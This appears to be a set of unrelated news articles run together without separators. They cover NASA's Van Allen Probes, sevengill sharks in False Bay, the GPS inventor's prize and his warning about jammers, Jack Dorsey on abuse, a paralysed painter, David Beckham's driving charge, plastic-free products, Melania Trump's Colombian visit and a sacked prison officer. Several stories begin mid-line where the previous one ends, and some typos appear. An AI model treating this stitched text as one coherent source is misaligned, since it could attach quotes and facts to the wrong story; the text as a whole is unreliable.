Timing of the manoeuvre is dictated by the need to make sure they are in the correct orientation when the two hour long engine burst is initiated.

This window of opportunity only occurs once or twice a year and falls between February 12-22 for one and March 11 - 22 for the other spacecraft.

This tweak to its movement will see it become 190 miles closer to Earth and prepares it for eventual re-entry into Earth's atmosphere in approximately 15 years down the line.

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'In order for the Van Allen Probes to have a controlled re-entry within a reasonable amount of time, we need to lower the perigee,' said Nelli Mosavi, project manager for the Van Allen Probes at the Johns Hopkins Applied Physics Laboratory, or APL, in Laurel, Maryland.

'At the new altitude, aerodynamic drag will bring down the satellites and eventually burn them up in the upper atmosphere.

'Our mission is to obtain great science data, and also to ensure that we prevent more space debris so the next generations have the opportunity to explore the space as well.'

They were launched in 2012 to understand the fundamental physical processes that make space so inhospitable.

NASA's Van Allen Probes spend most of their orbit within the doughtnut-shaped bands of energised protons and electrons in Earth's magnetic field.

WHAT ARE THE VAN ALLEN PROBES? NASA launched the twin Van Allen Probes in 2012 to understand the fundamental physical processes that create this harsh environment so that scientists can develop better models of the radiation belts. These spacecraft were specifically designed to withstand the constant bombardment of radiation in this area and to continue to collect data even under the most intense conditions. A set of observations on how the radiation belts respond to a significant space weather storm, from this harsh space environment, is a goldmine. Advertisement

THE VAN ALLEN BELTS The Van Allen belts, named after their discoverer, are regions within the magnetosphere where high-energy protons and electrons are trapped by Earth's magnetic field. Known since 1958, these regions were historically classified into two inner and outer belts. However, in 2013, Nasa's Van Allen Probes reported an unexplained third Van Allen belt that had not previously been observed. This third Van Allen belt lasted only a few weeks before it vanished, and its cause remained inexplicable. Advertisement

These particles produce radiation and are able to interfere with satellite electronics.

It is also believed they and could even pose a threat to future astronauts having to travel through them on interplanetary journeys.

They are extremely hard to predict as they alter their shape, size and intensity according to solar activity.

They were intended to be a two-year mission but the durable machines have been operating perfectly since 2012.

'The Van Allen Probes mission has done a tremendous job in characterising the radiation belts and providing us with the comprehensive information needed to deduce what is going on in them,' said David Sibeck, mission scientist for the Van Allen Probes at NASA's Goddard Space Flight Center in Greenbelt, Maryland.

'The very survival of these spacecraft and all their instruments, virtually unscathed, after all these years is an accomplishment and a lesson learned on how to design spacecraft.'

There is still much to be learned about Earth's two donut-shaped radiation bets  and, new observations suggest spacecraft may soon have a better shot at studying them first-hand

In a 2017 study, observations from NASA's Van Allen Probes revealed that there are usually no relativistic electrons in the inner belt.

The discovery goes against previous assumptions.

But, scientists used an instrument known as the Magnetic Electron and Ion Spectrometer (MagEIS) to distinguish the super-fast electrons from high-energy protons, giving them new understanding of the belt's composition.

'We've known for a long time that there are these really energetic protons in there, which can contaminate the measurements, but we've never had a good way to remove them from the measurements until now,' said Seth Claudepierre, lead author and Van Allen Probes scientist at the Aerospace Corporation in El Segundo, California.

It's long been known that the outer belt is more 'rowdy,' as it pulsates dramatically during geomagnetic storms in response to pressure of solar particles and the magnetic field.

The inner belt, on the other hand, is thought to maintain a steady position above Earth's surface, according to NASA.

But, the new study suggest its composition isn't as constant as thought.The decline in numbers of great white sharks in South Africa has led to the emergence of sevengill sharks, another predator from a different habitat.

New research which focused on sharks in the waters surrounding False Bay reveals the unexpected consequences following diminishing numbers of apex predators.

The study was conducted over eighteen years and documents the fall in numbers of great whites in the waters surrounding Seal Island since 2015.

The island, near Cape Town is famous for great white sharks breaching out the water in pursuit of seals.

However, since 2017 sightings of the famous predator featured in Jaws has sharply declined with sightings reported sometimes months apart.

Around this time sevengill began to show up for the first time and have been increasing in number ever since, the research said.

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Food chains undergo massive changes when a top predator - such as great white sharks - are lost, reveals new research. The waters surrounding Seal Island in False Bay, near Cape Town in South Africa, are famous for great white sharks breaching out the water in pursuit of seals (pictured)

In the eighteen years, the researchers said that they had never seen sevengill sharks but they now dominate the area.

They suggest that the appearance of sevengill sharks at Seal Island was due to the disappearance of great whites.

This allows sevengills to exploit the area without risk of predation from great white sharks or competition with them for shared prey.

Sevengill sharks closely resemble relatives from the Jurassic period, unique for having seven gills instead of the typical five in most other sharks.

The findings are part of a long-term study since the year 2000 between shark researcher Neil Hammerschlag, of the University of Miami Rosenstiel School of Marine and Atmospheric Science, and wildlife naturalist Chris Fallows, of Apex Shark Expeditions.

The recent disappearance of great whites from False Bay has led to the emergence of another apex predator, sevengill sharks (pictured), that now dominate the area. During periods of great white absence in 2017 and 2018, the researchers documented 120 sevengill shark sightings

Locations of Seal Island, a Cape fur seal rookery, (A) off the Western Cape of South Africa, within (B) False Bay. Historically, white sharks actively patrolled the waters of (C) Seal Island in the colder months. The only well-known aggregation site for sevengill sharks in False Bay is the inshore kelp beds of Millers Point (C), which is ~18 km southwest of Seal Island

They closely observed great whites from boats over 8,000 hours, during which time they recorded 6,333 shark sightings, and 8,076 attacks on seals.

The data revealed that in the number of great whites was stable until 2015 when they began to see a drop.

'In 2017 and 2018, their numbers reached an all-time low, with great whites completely disappearing from our surveys for weeks and months at a time,' said study lead author Dr Neil Hammerschlag.

'While the reasons for their decline and disappearance remains unknown, it provided a truly unique opportunity for us to see what happens to an ocean ecosystem following the loss of an apex predator.'

Co-author Fallows said: 'In 18-plus years of working at Seal Island, we had never seen sevengill sharks in our surveys.

'Following the disappearance of white sharks in 2017, sevengill began to show up for the first time and have been increasing in number ever since.'

During periods of great white absence in 2017 and 2018, the researchers documented 120 sevengill shark sightings and even witnessed an individual attacking a live seal.

In South African waters, sevengill sharks have no equal in the food web with the exception of the great white and orca whale.

Historically, the only well-known aggregation site for sevengills in False Bay was located 18 kms (11 miles) away from Seal Island within inshore kelp beds.

Researchers suggest the disappearance of great whites from False Bay led to the emergence of sevengill sharks. Historically, the only well-known aggregation site for sevengills in False Bay was located 18 kms (11 miles) away from Seal Island within inshore kelp beds

The study notes that it is probable that sevengill sharks may have 'visited' Seal Island prior to the decline in white sharks, but never were bold enough to approach our surface baits.

'While the reasons for their decline and disappearance remains unknown, it provided a truly unique opportunity for us to see what happens to an ocean ecosystem following the loss of an apex predator.'

The study does suggest possibilities for the decline in number of great whites since 2015 could be down to over-fishing or habitat loss hypothesised by mark-recapture, photo-ID and genetic analysis.

It is also possible that False Bay's white sharks have shifted their distributional range elsewhere due to shifts in environmental conditions or prey.

Previous research said that both species of sharks in the area are being preyed upon by killer whales.

This followed the discovery of several dead sevengill sharks of which the cause of death was originally a mystery.

It was only after experts examined the carcasses that they saw impressions from the gaping wounds were consistent with the 'flat-toothed' killer whale.

'Between 2015 and 2017, killer whales were sighted at a number of different locations along the west and south coasts of South Africa, including areas such as Struisbaai and Gansbaai,' the previous study wrote.

Their presence at these two sites was followed by the discovery of multiple shark carcasses between February and June 2017.

The findings were published in the online journal Scientific Reports.Bradford Parkinson, the pioneer inventor of GPS, received the Queen Elizabeth Prize for Engineering in London last night

The inventor of GPS has lamented that people are unable to read maps because they are now 'too dependent' on using their smartphones or sat-nav devices.

Bradford Parkinson, the pioneer inventor of the navigation system relied upon by billions of people, said that he 'worries' about what impact its failure could have.

Professor Parkinson received the Queen Elizabeth Prize for Engineering in London last night for his key role in developing the Global Positioning System or GPS, along with the rest of his team: Professor James Spilker, Jr, Hugo Fruehauf, and Richard Schwartz.

They originally began working on the system in the 1970s as a military project but were unaware of the revolutionary impact it would have on wider society.

GPS signal is made by a network of around 30 spacecraft in orbit that transmit positional information and precise timing to receivers around the globe.

It helps cars, trucks, planes, ships and trains to navigate as well as providing a timing reference for the financial industry.

Professor Parkinson said that many of the tasks it performs were not anticipated when it was created but that it is vulnerable to failure, the Times reports.

'Like all good things, GPS is something on which we can become too dependent,' he said.

The rise in the market of GPS 'jammers', devices which are plugged into car cigarette lighters and can stop tracking systems, can interfere with other signals beyond the one they intend to block.

According to experts, the devices are used for people who don't want to be detected and can create a 500-metre bubble around a vehicle.

Professor Parkinson began working on the system in the 1970s originally as a military project but it has since had a revolutionary impact on wider society. Here, an image of the 1978 concept of where GPS would work in the future eventually

The rise in the market of GPS 'jammers', devices which are plugged into car cigarette lighters and can stop tracking systems, can interfere with other signals beyond the one they intend to block. According to experts, the devices are used for people who don't want to be detected

'You can buy little devices called privacy devices that not only keep your boss from tracking you when you go to see your sweetheart, they also jam all other GPS systems,' Professor Parkinson said.

Vehicles equipped with jammers could pose a threat if vehicles equipped with them go to airport areas near aircraft which rely on heavily on GPS reception, according to navigation specialists.

Professor Parkinson said that it is now 'crucial' that backup systems to GPS are developed like eLoran, a network of ground-based radio locators.

'These systems might not be as accurate, but they allow a user in trouble to have a back door that gets them out of trouble,' he said.

GPS signal is made by a network of around 30 spacecraft in orbit that transmit precise timing and positional information to receivers around the globe. It helps cars, trucks, planes, ships and trains to navigate as well as providing a timing reference for the financial industry

Vehicles equipped with jammers could pose a threat if vehicles equipped with them go to airport areas near aircraft which rely on heavily on GPS reception. Professor Parkinson, the driving force behind the system, said that it is now 'crucial' that backup systems are developed

Professor Sir Christopher Snowden, chairman of the judges, said that the technology was an outstanding example of engineering's profound impact on society.

Currently, GPS supports hundreds of billions of dollars of economic activity.

Professor Parkinson, also a doctor, said that it was an 'extraordinary honour' to receive the Queen Elizabeth Prize for Engineering and paid tribute to the many people who were involved in the innovation.

He said that said that the past forty years had shown that its popularity had led to people being too reliant.

He told the Times: 'There are downsides; every advance has that, he said. The fact is that people don't know how to read maps anymore. I love maps!.'Social media sites have dropped the ball when it comes to fostering safety online, according to one of the arenas's own heavyweights.

Twitter Inc Chief Executive Jack Dorsey said on Tuesday that Silicon Valley companies, including his own, have not done enough to protect victims of online abuse, calling it a 'huge fail.'

Interviewed via Twitter by Kara Swisher, co-founder of the tech news site Recode, Dorsey tweeted that he would give himself a 'C' grade for what Swisher termed 'tech responsibility.'

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Twitter CEO Jack Dorsey made the comments in a Twitter exchange with Recorde co-founder Kara Swisher. But, many users commented that the thread itself was difficult to follow

'We've made progress, but it has been scattered and not felt enough,' he tweeted in response to Swisher's questions.

'Changing the experience hasn't been meaningful enough. And we've put most of the burden on the victims of abuse (that's a huge fail).'

According to users trying to follow the Twitter thread between Dorsey and Swisher, dozens of tweets between the two appeared out of order, becoming difficult to follow.

The company has been investing heavily to improve what Dorsey has described as the 'collective health' of Twitter.

Dorsey said on Tuesday he does not like how Twitter tends to incentivize outrage, short-term thinking, echo chambers, and fragmented conversations, and that the lack of diversity in the company has not helped in combating such problems.

He said Twitter's work against 'automations and coordinated campaigns,' along with its collaboration with various government agencies, has left it in a better position to combat the threat of misinformation for the 2020 U.S. presidential elections.

U.S. intelligence agencies have concluded that Russia used social media during the 2016 U.S. elections to sway voters. Moscow denies that charge.A paralysed woman has inspired millions of people in China after creating hundreds of stunning artworks with her withered arms.

Stroke by stroke, 40-year-old Zhang Junli filled in canvas after canvas with the colours of the skies, forests, beaches and oceans despite being confined to her bed.

More than 300 oil paintings later, Zhang is now recognised as a 'true artist'. Her work is now highly sought after among art lovers and her story is hailed as one of hope and courage.

For 32 years, Zhang has been battling rheumatoid arthritis in bed - but never once did she feel sorry for herself. She indulged herself in oil painting and let her imagination run wild

The painting 'Skies and Clouds' was sold for 666 yuan (74) on Zhang's WeChat online shop

When she was just six years old, Zhang from Shanxi, north China was diagnosed with rheumatoid arthritis. By the time she turned eight, she had lost 90 per cent of her body's joint function.

For 32 years, Zhang has been battling the long-term condition in bed - but never once did she feel sorry for herself.

With a paintbrush wedged between her paralysed fingers, she drew with passion and conviction, letting her imagination run wild and refusing to let her illness rule her fate.

'The world is too beautiful. Even if I am in poor health, I don't want to give up the opportunity to live,' Zhang, a Taiyuan native, told MailOnline.

Zhang carefully mixes and places her oil colours on a painting that she's working on

Zhang has produced more than 300 paintings and now owns an online shop on WeChat

And live she did. Ever since she picked up a paintbrush in bed three years ago, Zhang has created more than 300 paintings and now owns an online shop, 'Lily's Easel', on WeChat, where her work would be available for sale.

The extraordinary artist's inspiring story has touched the hearts of many across China, with many net users congratulating her and showing their support by buying her work.

All 150 pieces of Zhang's artwork are now sold out. Half of them were purchased this past week.

'I sold my last painting this morning,' an elated Zhang said. 'I can't believe this. I am so touched by everyone's support. It truly feels like a dream!'

She said she first realised something was wrong when she was six years old, when her thumb and wrist would always swell up and hurt.

The painting 'Land of Dreams' (pictured) was kept by Zhang as part of her personal collection

The extraordinary artist's inspiring story has touched the hearts of many across China

Zhang's mother shows off one of her daughter's masterpiece in Taiyuan city, Shanxi province

She told her parents, who took her to hospital for a checkup. Doctors diagnosed her with rheumatoid arthritis and warned her father that there was a risk of paralysis if her condition was not treated properly.

Her nightmare came during the winter of 1986, when her symptoms suddenly worsened, leaving her body completely stiff and in great pain.

'I can move my hip, shoulders and neck a little. Other than that, I can't move at all,' she said.

Neighbours would come visit her then and say: 'What's going to happen to this poor child?' To which her mother would respond by crying.

'It was sad to see my mother like that,' Zhang said. 'I'm just paralysed - I'm not dead.'

Bedridden and unable to return to school, she started the habit of drawing as a pastime.

'Heart of the sea' was sold for 2333 yuan (260) on Zhang's online shop, 'Lily's Easel'

The devoted artist only stops from time to time to take a sip of water placed on her bedside

The artist's wrists were completely stiff and she could only grasp a brush between her thumb and index finger in a fist, while carefully adjusting her shoulder and pressure on the canvas

In 2015, she began learning oil painting from a professional artist and instantly fell in love with it.

'Painting transformed me,' Zhang recalled. 'The first time I picked up a brush, it's as if I have found my calling. I felt that I lived to draw.'

It was by all means not an easy journey. Her wrists were completely stiff and she could only grasp a brush between her thumb and index finger in a fist, all the while carefully angling her shoulder and adjusting the pressure applied on the canvas.

Bit by bit, she gained control. Her devotion and passion were fiercely realised in her work, which gracefully reflects the vivid colours of the sunset, the ripples of the waves, the feathery clouds above snow-topped mountains and the minute facial expressions of her human subjects.

Much of it was talent, but far more of it was persistence. A 30-inch-by-40-inch (75cm by 100cm) canvas would take Zhang between a week and 12 days to complete.

Video footage of the artist at work released by China News shows a focused Zhang carefully mixing and placing different colours on a canvas that was slowly transforming into the night sky, only stopping from time to time to take a sip of water placed on her bedside.

By the time she turned eight, Zhang had lost 90 per cent of her body's joint function

'The world is too beautiful. Even if I am in poor health, I don't want to give up the opportunity to live,' Zhang told MailOnline. She has created more than 300 paintings since 2015

One of Zhang's favourite work, called 'Front Door of my Home' (pictured) was completed by the artist in April. It depicts the house that her father had lived in when he was younger

A 30-inch-by-40-inch canvas would take Zhang between a week to 12 days to complete

The artist lives vicariously through her friends' travel photos, which together with books, music and online scenic photographs, serve as her inspiration.

'This way, even if I couldn't get out of the house, I get to see beautiful landscapes, skies and seas - I can still explore the world with my paint and my canvas.'

Apart from painting, Zhang has also authored four books - three fictions and one autobiography.

'I want to encourage people who are in the same situation as I am to not give up on themselves,' she said.

'Instead of crying and worrying all day, explore your identity and find your meaning in life,' she said. 'Live in the present.'David Beckham faces being hauled into court after CCTV footage allegedly emerged of him using a mobile phone behind the wheel.

The 43-year-old former footballer is said to have been spotted making a call in his 200,000 car in London three months ago by an onlooker who told police.

A hearing is set to take place at Bromley Magistrates' Court on March 19  and Beckham faces up to six points on his licence and a 2,000 fine if convicted.

David Beckham drives through Notting Hill, West London, with his son Brooklyn last August

Beckham (pictured leaving the O2 in Greenwich, South East London, after a Justin Bieber gig in October 2016) is understood to have been caught on camera on his phone while driving

The father-of-four, who drives a Bentley and lives in West London, can either contest the charge at a public hearing or admit the alleged offence by letter.

This charge - first revealed overnight by the Sun newspaper - comes five months after a speeding charge against him was dismissed on a technicality.

That case saw him accused of 'setting a terrible example' after he employed the lawyer 'Mr Loophole' after he was accused of driving 20mph over the speed limit.

Beckham was told on September 27 he would not face action because a notice of intended prosecution was received one day after the statutory 14-day time limit.

Beckham (left, in June last year in London) was previously represented by 10,000-a-day lawyer Nick Freeman (right, at Wimbledon Magistrates's Court last September)

At the time of the case, Beckham enjoyed a romantic trip to Paris with his wife Victoria, 44. They are pictured at London Fashion Week last month

That was despite the star, worth an estimated 339million, having accepted that he had been speeding in a 40mph zone on the A40 near Paddington on January 23.

How Beckham avoided a speeding conviction on a technicality David Beckham was accused of 'setting a terrible example' as a role model after escaping a speeding conviction on a technicality last year. The former England captain employed the lawyer dubbed 'Mr Loophole' after he was accused of driving a 200,000 Bentley 20mph over the speed limit. Beckham, 43, accepted he had been speeding, but was told last September that he would not face action because a notice of intended prosecution was not received until one day after the statutory 14-day time limit. Safety campaigners and politicians reacted with fury, saying the retired footballer used his 'wealth and influence' to escape a conviction. A judge accepted Beckham's ticket had not arrived in time and so he could not be convicted. A speed camera had caught him doing 59mph in a 40mph zone on the A40 near Paddington, central London, on January 23. Advertisement

A speed camera had caught him doing 59mph. But staff at Bentley, from which Beckham had borrowed the car, said the notice did not arrive until February 7.

His 10,000-a-day lawyer Nick Freeman, who counts Sir Alex Ferguson and Andrew Flintoff among his clients, claimed prosecutors only pursued the case because of the star's fame.

But safety campaigners and politicians reacted with fury, saying the retired footballer used his 'wealth and influence' to escape a speeding conviction.

The condemnation from the RAC and MPs came as Beckham enjoyed a romantic trip to Paris with his wife Victoria, 44 - splashing out 1,300 on a bottle of wine. The star is worth an estimated 339million.

The RAC said it was 'disheartening' that someone of Beckhams stature had appeared to get away with the offence.

Conservative MP Andrew Percy called on Beckham at the time to make a 'considerable donation' of his wealth to support road accident victims.

Mr Freeman also helped Beckham overturn an eight-month driving ban in 1999 after arguing the then Manchester United midfielder was trying to escape the paparazzi.French ambassador to return to Rome 'at opportune time' Magistrates arrive in Paris for meeting on Italian fugitives

(ANSAmed) - PARIS, FEBRUARY 13 - France's ambassador to Rome, Christian Masset, will return to Italy "at the opportune time", according to French foreign ministry spokesperson Nicolas Durieu.



Durieu was responding to a journalist's question regarding the timeframe for the diplomat's return, after a phone conversation took place Tuesday between Italian President Sergio Mattarella and French President Emmanuel Macron.



Masset was recalled to Paris for consultations on February 7.



Meanwhile, a delegation of Italian magistrates is expected in Paris on Wednesday to participate in a meeting at the French justice ministry regarding the situation of Italian fugitives of justice.



Sources at the ministry said no statement would be issued.



They added that the meeting would "consist in technical and juridical analyses of the situations" but that "no decision regarding the various cases will be made" and "work will continue".(ANSAmed).



Some of the biggest names in business threw their support behind the Great British Spring Clean last night.

Chief executives from the worlds of banking and retail hailed the campaign, run in partnership with Keep Britain Tidy, as a chance to make a difference.

Hundreds of thousands of workers at companies from Lloyds Bank to John Lewis will be asked to kindly volunteer even a few hours to battle the war against litter.

The scheme, which aims to be the largest environmental event of the year, has been heralded as a chance to clean up Britain while also acting as a social event.

Last night the chief executive of Lloyds Bank (stock image) backed the Great British Spring Clean, which will be promoted to 65,000 employees across the Lloyds Banking Group via their intranet, app and internal social network

Hundreds of thousands of workers at companies from Lloyds Bank to John Lewis (stock image) will be asked to kindly volunteer even a few hours to battle the war against litter

By last night a remarkable 55,941 people had pledged to volunteer on litter picks in their areas to combat the scourge of rubbish.

It is hoped half a million people will sign up to the Great British Spring Clean and take to streets, beaches and parks to pick up litter between March 22 and April 23. The campaign has already been backed by the likes of Theresa May, Sir David Attenborough and the United Nations.

Last night the chief executive of Lloyds Bank backed the Great British Spring Clean, which will be promoted to 65,000 employees across the Lloyds Banking Group via their intranet, app and internal social network.

Antonio Horta-Osorio, group chief of Lloyds Banking Group, said: We are proud to promote the Daily Mail and Keep Britain Tidys Great British Spring Clean alongside our biggest volunteering campaign of the year, Give & Gain, which will see 3,000 of our colleagues take a day out of the office in one week to volunteer for projects in their local communities.

Fantastic initiatives like this will support our colleagues to volunteer 240,000 hours of their time this year.

Lloyds annual volunteering event, Give & Gain, regularly attracts 3,000 volunteers. It is hoped even more employees will donate their time to good causes this year.

Some of the most popular brands on Britains high streets have already pledged their support to Keep Britain Tidy and the Great British Spring Clean.

The volunteer army will wage war on the litter blighting our towns and countryside (stock)

Marks & Spencer, Greggs, Wilko, McDonalds, Walkers, Mars Wrigley, Coca-Cola, Costa Coffee and cleaning company Karcher are backing the campaign.

Yesterday they were joined by British institutions including the Co-op, John Lewis and Morrisons. David Potts, Morrisons chief executive, said he would be litter picking with his family in Manchester this weekend to show his support. We encourage our colleagues at Morrisons to volunteer to collect plastic waste that gets on to beaches and other public places, he said.

Steve Murrells, Co-op chief executive, said: This great campaign highlights the need for us all to get together to improve the places in which we live, work and play for future generations.

Berangere Michel, of John Lewis, said: We have all become more aware of the dreadful impact litter, and especially plastic, has on the environment. To show our support, well be asking partners across the country to volunteer and get involved in the litter pick events.

The Great British Spring Clean is also made possible thanks to support from players of the Peoples Postcode Lottery.

Yesterday, Environment Secretary Michael Gove praised the campaign and its volunteers.Naked cucumbers save equivalent of 30,000 plastic bottles a year

One of the greatest struggles in the quest to reduce your plastic footprint is avoiding the swathes of flimsy film used to preserve supermarket fruit and vegetables.

Home delivery company Riverford promises the 50,000 boxes of fruit and veg it delivers across the country each week contain 82 per cent less plastic than equivalent products from major UK supermarkets.

We found we could do away with plastic bags by training our staff to identify the different types of pumpkin, for instance (to do away with the need for labels) and by getting our farmers to keep more leaves on their cauliflower to protect it, says Robyn Copley-Wilkins, Riverfords packaging technologist. By leaving popular items such as cucumbers naked we have saved an equivalent of 30,000 plastic bottles per year.

Home delivery company Riverford promises the 50,000 boxes of fruit and veg (pictured) it delivers across the country each week contain 82 per cent less plastic than equivalent products from major UK supermarkets

Delicate fruit and veg that cannot be delivered loose are gathered in pulped paper punnets (like egg boxes), with citrus fruit and onions in netting made from wood pulp.

This has saved an estimated 113 miles of plastic netting in two years, although the punnets and netting are 50 per cent more expensive than plastic, says Robyn.

www.riverford.co.uk

Toilet roll that comes wrapped in paper is a real labour of lav

We get through an estimated 100 rolls of lavatory paper per person per year, and unless you buy two at a time from Andrex (double rolls are wrapped in paper), your loo roll will be swathed in unrecyclable plastic.

Who Gives A Crap (pictured) was created in 2013 by a group of young Australians to provide an online lavatory paper delivery service, which could provide bulk orders of recycled paper

In a bid to reduce this plastic load, quirkily named Who Gives A Crap was created in 2013 by a group of young Australians to provide an online lavatory paper delivery service, which could provide bulk orders of recycled paper, with each roll individually wrapped in pretty paper and packed in a cardboard box.

The team promises that 50 per cent of the companys profits goes to building toilets in less developed countries.

Get 24 rolls for 24 from uk.whogivesacrap.org.

Smile  your new Toothpaste has swapped the tube for a glass jar

Metal toothpaste tubes were phased out in the Nineties and replaced by all-plastic tubes and pumps which manufacturers found to be less expensive and more durable (less likely to become damaged when repeatedly rolled-up).

This means the dental care industry is dominated by difficult-to-recycle plastic.

Georganics was one of the first UK companies to sell a range of toothpastes in a screw-top glass jar (pictured)

Georganics was one of the first UK companies to sell a range of toothpastes in a screw-top glass jar. You apply it to your brush with a compostable wooden spatula.

Founder Alessandro Rocchi says: Most toothpaste tubes are made of a series of layers, ranging from aluminium, internal lacquer, virgin plastic and exterior paint.

All these layers cannot be separated, and this is why 90 per cent of used toothpaste tubes cannot be recycled.

A 60ml jar costs 6.90 from georganics.co.uk

Compostable wraps for a guilt-free choc treat

Britons eat 24lbs of chocolate per person each year and the majority of bars are wrapped in difficult-to-recycle plastic. Mars and Nestle have committed to 100 per cent reusable, recyclable or compostable packaging by 2025. In the meantime, forward-thinking companies, particularly those behind organic healthy snacks, have been pushing the boundaries with their use of compostable packaging.

Cornish company Buttermilk Confections is using compostable cellulose packaging for its snacks (pictured)

Now one unashamedly indulgent fudge bar is following suit. Cornish company Buttermilk Confections is using compostable cellulose packaging for its snacks. Boss Tracy McDonnell Goad says: Were surrounded by beaches here. We were keen to find a plastic-free solution so customers could enjoy a treat, knowing the packaging will not end up in the ocean.

Buttermilk Sea Salt Fudge Bar, 1.50 From Waitrose.

Deodorant in a tube of card

Both aerosol and roll-on deodorants are tricky to recycle. British company Earth Conscious has created a plastic-free stick which works like the usual brands. Founder Angela Manton says: We chose a compostable, recyclable cardboard tube.

Deodorant stick, 7, earthconscious.co.uk.

British company Earth Conscious has created a plastic-free stick which works like the usual brands (pictured)

Vitamin supplements come in healthier packs

Small companies have found clever ways to seal supplements in plastic-free packaging.

David Alpert, managing director of Advanced Nutrition Programme says: As a keen diver, I am appalled by the impact plastic has on our oceans. All ANP supplements come in pots made from card and aluminium.

Vegums chewable daily multivitamins are sealed in biodegradable packaging (pictured)

Vegums chewable daily multivitamins are sealed in biodegradable packaging, and tucked into a recycled cardboard tube.

Vegums starter pack, 12.95 from vegums.com

Clean up cleaning

An estimated one million plastic bottles are bought every minute and cleaning products make up a considerable proportion of our plastic purchases.

Now OceanSaver has created concentrated versions of household cleaning products in a dissolvable pouch which you drop into your existing bottles and top up with water. This means theres no plastic to throw away and the pods arrive through the post in a recyclable cardboard box.

OceanSaver has created concentrated versions of household cleaning products in a dissolvable pouch which you drop into your existing bottles and top up with water (pictured)

We were keen to avoid adding to the plastic burden, but also to encourage consumers to re-use plastic bottles, says OceanSavers founder, John Buitekant.

Five-product starter pack of concentrates, 6.99 from ocean-saver.com

Crisps  its in the bag

We eat six billion packets of crisps a year, each housed in shiny metallised plastic. Walkers has vowed to use recyclable, compostable or biodegradable bags by 2025.

But small Herefordshire firm Two Farmers have beat them to it. Packs are made of biodegradable eucalyptus wood fibres and printed with vegetable ink.

Two Farmers packs are made of biodegradable eucalyptus wood fibres and printed with vegetable ink

The packaging looks similar but costs ten times as much as a standard crisp packet.

From Whole Foods and twofarmers.co.uk for around 1 for a 40g pack.

Taking plastic out of a cuppa

Ninety-six per cent of teabags use a dab of plastic resin to stop them from falling apart.

This means putting used bags in your bin or compost contributes to plastic pollution. One dot of glue might not sound much, but if everyone in the UK uses two teabags a day (sealed with 0.1ml of glue), thats 26,455lbs of plastic.

Teapigs (pictured) has been making biodegradable bags from cornstarch for 11 years and stitching them with thread

Teapigs has been making biodegradable bags from cornstarch for 11 years and stitching them with thread. Co-founder Louise Cheadle says: Some of our packaging decisions have cost us money but we feel this is well spent.

Big names are beginning to catch on. Last year Co-op pledged to work with Twinings on a mass market plastic-free teabag.

teapigs.co.ukMelania Trump talked drug policy and her signature Be Best campaign over lunch Wednesday with her Colombian counterpart, Maria Juliana Ruiz Sandoval.

Wearing a pretty pink and white checked Fendi coat with a pink belt and pink mink fur on the cuffs, the first lady joined her husband in welcoming the president and first lady of Colombia to the White House.

After a photo spray in the Oval Office - where President Donald Trump bumped into his wife while the couples were getting settled - the ladies split off from the men for separate lunches.

President Donald Trump and first lady Melania Trump welcome Colombian President Ivan Duque and his wife Maria Juliana Ruiz Sandoval to the White House

The first lady wore a pink and white Fendi coat with nude heels

She had lunch in the red room with her Colombia counterpart

Last week the first lady, who has made anti-opioid work a central tenant of her Be Best campaign, said she would speak to Sandoval when they met.

'I will have a plan to talk to her about the crisis of opioids,' Melania Trump said during a briefing with officials at the Office of National Drug Policy.

The two first ladies discussed the opioid crisis, particularly its impact globally on children and young mothers, according to the East Wing.

Melania Trump also discussed the drug addiction problems among the young she is working to combat as part of her Be Best initiative.

'Last week I met with experts at the Office of National Drug Control Policy to learn more about the harmful effects of substance abuse and the steps we are taking to address this problem,' the first lady said in a statement. 'We must continue raising awareness so parents and communities can understand fully the harm that opioids are having on our children. My conversation with the First Lady of Colombia today further encouraged a global mission to fighting the addiction crisis and issues facing children domestically and all around the world.'

Colombia sees large quantities of heroin produced and then trafficked to the United States.

At a town hall meeting in Virginia in November, the first lady talked about why she incorporated anti-drug work into her campaign.

'When I took on opioid abuse as one of the pillars of my initiative 'Be Best,' I did it with the goal of helping children of all ages. I have visited several hospitals and facilities that are dedicated to helping all who have been affected by this disease -- including people who are addicted, babies born addicted and families coping with addiction of a loved one,' she said.

Every day, more than 130 people in the United States die after overdosing on opioids, according to the National Institute on Drug Abuse.

Last week Melania Trump held her first official events since the government shutdown ended and focused on an anti-drug, anti-opioid message that makes up her Be Best campaign.

She began her Thursday morning rallying youth who work to keep drugs out of their communities and then received a briefing from government officials on the efforts being made to combat drug trafficking and programs to help counter addiction.

President Trump and Melania Trump also met with the Colombian president and first lady in the Oval Office

Melania Trump and Maria Juliana Ruiz Sandoval walk along the White House colonnade

The two couples posed on the colonnade before going into the Oval Office

The president and first lady chat while awaiting the Colombia first couple

The first lady kept a low profile during the 35-day government shutdown that was the longest in history.

She had half her office staff furloughed during the time the government was closed, including her advance teams and support staff that planned events.

She did join the president on his visit to U.S. troops in Iraq on the day after Christmas and she watched his State of the Union address from the first lady's box on Tuesday night.

She was active on social media during the shutdown and had a heavy schedule in December with holiday receptions at the White House, visits to troops in the Washington D.C. area, a visit to the National Children's Hospital, and helping Marines with their Toys for Tots campaign.A glamorous female prison officer has been sacked after an alleged relationship with a male inmate that was only uncovered when she sent him a Valentine's Day card.

Tara Brooks, 33, was dismissed from her role at Parklea Correction Centre in Sydney this week after prison management became aware of her 'inappropriate relationship' with Hassan Zreika, a 41-year-old male inmate.

Daily Mail Australia understands management at Parklea Prison began investigating Ms Brooks this week after tracing the Valentine's Day card she had sent Zreika back to her.

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Female prison officer Tara Brooks (pictured) has been sacked after an alleged relationship with male inmate Hassan Zreika, who had her photos of her bikini modelling shoots up on his cell wall

Ms Brooks was charged by police with engaging in a relationship with an inmate and causing a safety risk to a correctional centre. She is the first person to be charged under the laws which were introduced last November (Pictured is Parklea Correction Centre)

During their investigations prison management discovered Ms Brooks' mobile phone number written on a piece of paper in Zreika's cell.

It is alleged the pair had been involved in regular phone conversations, while letters from the prison officer to the inmate were also found.

Zreika was last year jailed for two years and five months after pleading guilty to drug supply and possession charges dating back to November 2016.

With time already served he will first is eligible for parole in little more than a month.

Ms Brooks - who began working at the prison in August 2016 - was charged by police with engaging in a relationship with an inmate and causing a safety risk to the correctional centre.

She is the first person to be charged under the new laws which were introduced last November following the intimate relationship of cop killer Sione Penisini and prison officer Amy Connors at Kempsey Jail, on the New South Wales mid north coast.

Ms Brooks has a number of modelling profiles online and previously entered Maxim magazine's cover girl competition, placing 17th.

She describes herself online as: 'A very independent and strong minded woman. Life is always better in a bikini.'

The swimwear model boasted 63,000 followers on Instagram, but has deleted her account since her arrest.

